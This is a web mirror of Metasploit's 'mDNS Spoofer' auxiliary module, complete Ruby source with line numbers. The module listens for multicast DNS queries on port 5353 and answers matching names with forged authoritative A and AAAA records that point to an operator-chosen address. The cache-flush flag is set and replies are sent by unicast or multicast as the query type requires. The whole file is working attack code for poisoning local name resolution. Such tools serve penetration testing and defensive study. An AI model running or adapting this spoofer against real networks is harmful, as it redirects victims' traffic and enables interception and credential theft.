Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/mdns/mdns_response.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'socket'
7
require 'ipaddr'
8
require 'net/dns'
9
10
class MetasploitModule < Msf::Auxiliary
11
12
include Msf::Exploit::Capture
13
14
attr_accessor :sock, :thread
15
16
def initialize
17
super(
18
'Name' => 'mDNS Spoofer',
19
'Description' => %q{
20
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
21
},
22
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
26
],
27
28
'Actions' => [
29
[ 'Service', { 'Description' => 'Run mDNS spoofing service' } ]
30
],
31
'PassiveActions' => [
32
'Service'
33
],
34
'DefaultAction' => 'Service',
35
'Notes' => {
36
'Stability' => [SERVICE_RESOURCE_LOSS],
37
'SideEffects' => [IOC_IN_LOGS],
38
'Reliability' => []
39
}
40
)
41
42
register_options([
43
OptAddress.new('SPOOFIP4', [ true, 'IPv4 address with which to spoof A-record queries', '']),
44
OptAddress.new('SPOOFIP6', [ false, 'IPv6 address with which to spoof AAAA-record queries', '']),
45
OptRegexp.new('REGEX', [ true, 'Regex applied to the mDNS to determine if spoofed reply is sent', '.*']),
46
OptInt.new('TTL', [ false, 'Time To Live for the spoofed response (in seconds)', 120]),
47
])
48
49
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
50
self.thread = nil
51
self.sock = nil
52
end
53
54
def dispatch_request(packet, rhost, src_port)
55
rhost = ::IPAddr.new(rhost)
56
57
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
58
# addr like "::ffff:192.168.0.1" when the interface we're listening
59
# on has an IPv6 address. Convert it to just the v4 addr
60
if rhost.ipv4_mapped?
61
rhost = rhost.native
62
end
63
64
# Parse the incoming MDNS packet. Quit if an exception was thrown.
65
dns_pkt = nil
66
begin
67
dns_pkt = ::Net::DNS::Packet.parse(packet)
68
rescue StandardError
69
return
70
end
71
72
spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])
73
spoof6 = begin
74
::IPAddr.new(datastore['SPOOFIP6'])
75
rescue StandardError
76
''
77
end
78
79
# Turn this packet into an authoritative response.
80
dns_pkt.header.qr = 1
81
dns_pkt.header.aa = 1
82
83
qm = true
84
dns_pkt.question.each do |question|
85
name = question.qName
86
if datastore['REGEX'] != '.*' && name !~ /#{datastore['REGEX']}/i
87
vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
88
next
89
end
90
91
# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.
92
if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type
93
qm = false
94
end
95
96
# qType is not a Integer, so to compare it with `case` we have to
97
# convert it
98
responding_with = nil
99
case question.qType.to_i
100
when ::Net::DNS::A
101
dns_pkt.answer << ::Net::DNS::RR::A.new(
102
name: name,
103
ttl: datastore['TTL'],
104
cls: 0x8001, # Class IN, with flush cache flag
105
type: ::Net::DNS::A,
106
address: spoof4.to_s
107
)
108
responding_with = spoof4.to_s
109
when ::Net::DNS::AAAA
110
if spoof6 != ''
111
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
112
name: name,
113
ttl: datastore['TTL'],
114
cls: 0x8001, # Class IN, with flush cache flag
115
type: ::Net::DNS::AAAA,
116
address: spoof6.to_s
117
)
118
responding_with = spoof6.to_s
119
end
120
else
121
# Skip PTR, SRV, etc. records.
122
next
123
end
124
125
# If we are responding to this query, and we haven't spammed stdout recently, print a notification.
126
if !responding_with.nil? && should_print_reply?(name)
127
print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")
128
end
129
end
130
131
# Clear the questions from the responses. They aren't observed in legit responses.
132
dns_pkt.question.clear
133
134
# If we didn't find anything we want to spoof, don't send any
135
# packets
136
return if dns_pkt.answer.empty?
137
138
begin
139
udp = ::PacketFu::UDPHeader.new(
140
udp_src: 5353,
141
udp_dst: src_port,
142
body: dns_pkt.data
143
)
144
rescue StandardError
145
return
146
end
147
udp.udp_recalc
148
149
# Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response.
150
dst = rhost
151
if rhost.ipv4?
152
if qm
153
dst = ::IPAddr.new('224.0.0.251')
154
end
155
ip_pkt = ::PacketFu::IPPacket.new(
156
ip_src: spoof4.hton,
157
ip_dst: dst.hton,
158
ip_proto: 0x11, # UDP
159
body: udp
160
)
161
elsif rhost.ipv6?
162
if qm
163
dst = ::IPAddr.new('ff02::fb')
164
end
165
ip_pkt = ::PacketFu::IPv6Packet.new(
166
ipv6_src: spoof6.hton,
167
ipv6_dst: dst.hton,
168
ip_proto: 0x11, # UDP
169
body: udp
170
)
171
else
172
# Should never get here
173
print_error('IP version is not 4 or 6. Failed to parse?')
174
return
175
end
176
ip_pkt.recalc
177
178
capture_sendto(ip_pkt, rhost.to_s, true)
179
end
180
181
def monitor_socket
182
loop do
183
rds = [sock]
184
wds = []
185
eds = [sock]
186
187
r, = ::IO.select(rds, wds, eds, 0.25)
188
189
if !r.nil? && (r[0] == sock)
190
packet, host, port = sock.recvfrom(65535)
191
dispatch_request(packet, host, port)
192
end
193
end
194
end
195
196
# Don't spam with success, just throttle to every 10 seconds
197
# per host
198
def should_print_reply?(host)
199
@notified_times ||= {}
200
now = Time.now.utc
201
@notified_times[host] ||= now
202
last_notified = now - @notified_times[host]
203
if (last_notified == 0) || (last_notified > 10)
204
@notified_times[host] = now
205
else
206
false
207
end
208
end
209
210
def run
211
check_pcaprub_loaded
212
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
213
214
# Avoid receiving extraneous traffic on our send socket
215
open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })
216
217
# Multicast Address for LLMNR
218
multicast_addr = ::IPAddr.new('224.0.0.251')
219
220
# The bind address here will determine which interface we receive
221
# multicast packets from. If the address is INADDR_ANY, we get them
222
# from all interfaces, so try to restrict if we can, but fall back
223
# if we can't
224
bind_addr = begin
225
get_ipv4_addr(datastore['INTERFACE'])
226
rescue StandardError
227
'0.0.0.0'
228
end
229
230
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
231
self.sock = Rex::Socket.create_udp(
232
# This must be INADDR_ANY to receive multicast packets
233
'LocalHost' => '0.0.0.0',
234
'LocalPort' => 5353,
235
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
236
)
237
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
238
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
239
240
self.thread = Rex::ThreadFactory.spawn('MDNSServerMonitor', false) do
241
monitor_socket
242
end
243
244
print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")
245
246
add_socket(sock)
247
248
thread.join
249
end
250
251
def cleanup
252
if thread && thread.alive?
253
thread.kill
254
self.thread = nil
255
end
256
sock.close
257
close_pcap
258
end
259
end
260
261